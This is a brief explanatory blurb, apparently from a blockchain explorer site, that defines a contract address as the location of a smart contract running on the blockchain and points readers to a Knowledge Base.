A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.